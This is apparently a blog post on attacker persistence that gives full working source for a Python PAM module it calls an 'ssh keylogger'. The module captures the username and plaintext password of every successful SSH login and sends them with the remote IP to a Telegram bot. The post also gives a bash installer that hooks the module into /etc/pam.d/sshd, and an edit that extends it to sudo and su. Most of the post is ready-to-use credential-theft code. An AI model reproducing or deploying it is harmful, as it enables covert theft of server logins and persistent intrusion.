Stealing SSH credentials Another Approach.

on Persistence

Stealing SSH credentials Another Approach.

Recently I posted how to get ssh password using strace, but it’s no 100% effective, because the strace output changes on different distros, so searching for another approach I found this site ChokePoint where they show how to create a PAM module using python to log failed attempts on ssh, now all I have to do, was change where they log the password. Original script, use the function auth_log when the login failed.

    if not check_pw(user, resp.resp):
        auth_log("Remote Host: %s (%s:%s)" % (pamh.rhost, user, resp.resp))
        return pamh.PAM_AUTH_ERR
     return pamh.PAM_SUCCESS

And my script use my function sendMessage when the login is successful

    if not check_pw(user, resp.resp):
        return pamh.PAM_AUTH_ERR
    sendMessage("Connection from host {} user:{} password: {})".format(pamh.rhost, user, resp.resp))
    return pamh.PAM_SUCCESS

This function basically send the user,password and the IP of who is connecting, here is the final code,

import spwd
import crypt
import requests

def sendMessage(msg):
    apiKey = 'BOT-API-KEY'
    userId = 'USERID'
    url = 'https://api.telegram.org/bot{}/sendMessage?chat_id={}&text={}'.format(apiKey,userId,msg)
    r = requests.get(url)

def check_pw(user, password):
    """Check the password matches local unix password on file"""
    hashed_pw = spwd.getspnam(user)[1]
    return crypt.crypt(password, hashed_pw) == hashed_pw

def pam_sm_authenticate(pamh, flags, argv):
    try:
        user = pamh.get_user()
    except pamh.exception as e:
        return e.pam_result

    if not user:
        return pamh.PAM_USER_UNKNOWN
    try:
        resp = pamh.conversation(pamh.Message(pamh.PAM_PROMPT_ECHO_OFF, 'Password:'))
    except pamh.exception as e:
        return e.pam_result

    if not check_pw(user, resp.resp):
        return pamh.PAM_AUTH_ERR

    sendMessage("Connection from host {} user:{} password: {})".format(pamh.rhost, user, resp.resp))
    return pamh.PAM_SUCCESS


def pam_sm_setcred(pamh, flags, argv):
    return pamh.PAM_SUCCESS


def pam_sm_acct_mgmt(pamh, flags, argv):
    return pamh.PAM_SUCCESS


def pam_sm_open_session(pamh, flags, argv):
    return pamh.PAM_SUCCESS


def pam_sm_close_session(pamh, flags, argv):
    return pamh.PAM_SUCCESS


def pam_sm_chauthtok(pamh, flags, argv):
    return pamh.PAM_SUCCESS

I also created a bash script to “install” this ssh keylogger, where all the dependencies are installed, and configure this PAM module on /etc/pam.d/sshd

#!/bin/bash

# Install dependencies to create a PAM module using python (Except for python-pip)
apt-get install python-pam libpam-python python-pip

# Install dependencies python
pip install requests

# Check if exist the entrie on pam, for this module
if ! grep -Fq "looter.py" /etc/pam.d/sshd;then
    sed -i "/common-auth/a auth requisite pam_python.so looter.py" /etc/pam.d/sshd
fi

code='
import spwd
import crypt
import requests

def sendMessage(msg):
    apiKey = "API-KEY"
    userId = "USER-ID"
    data = {"chat_id":userId,"text":msg}
    url = "https://api.telegram.org/bot{}/sendMessage".format(apiKey)
    r = requests.post(url,json=data)

def check_pw(user, password):
    """Check the password matches local unix password on file"""
    hashed_pw = spwd.getspnam(user)[1]
    return crypt.crypt(password, hashed_pw) == hashed_pw

def pam_sm_authenticate(pamh, flags, argv):
    try:
        user = pamh.get_user()
    except pamh.exception as e:
        return e.pam_result

    if not user:
        return pamh.PAM_USER_UNKNOWN
    try:
        resp = pamh.conversation(pamh.Message(pamh.PAM_PROMPT_ECHO_OFF, "Password:"))
    except pamh.exception as e:
        return e.pam_result

    if not check_pw(user, resp.resp):
        return pamh.PAM_AUTH_ERR

    sendMessage("Connection from host {} using the user {} and password {}".format(pamh.rhost, user, resp.resp))
    return pamh.PAM_SUCCESS


def pam_sm_setcred(pamh, flags, argv):
    return pamh.PAM_SUCCESS


def pam_sm_acct_mgmt(pamh, flags, argv):
    return pamh.PAM_SUCCESS


def pam_sm_open_session(pamh, flags, argv):
    return pamh.PAM_SUCCESS


def pam_sm_close_session(pamh, flags, argv):
    return pamh.PAM_SUCCESS


def pam_sm_chauthtok(pamh, flags, argv):
    return pamh.PAM_SUCCESS
'
mkdir -p /lib/security/
echo "$code" > /lib/security/looter.py
/etc/init.d/ssh restart

In the final, when someone successfuly log on the server you’ll receive a message like that. alt text

EDIT 13/02/2018

It works on sudo an su too, just add the line above,

auth requisite pam_python.so looter.py

in files

/etc/pam.d/sudo
/etc/pam.d/su

Or just git clone the project and follow the instructions on README.md

git clone https://github.com/mthbernardes/sshLooter.git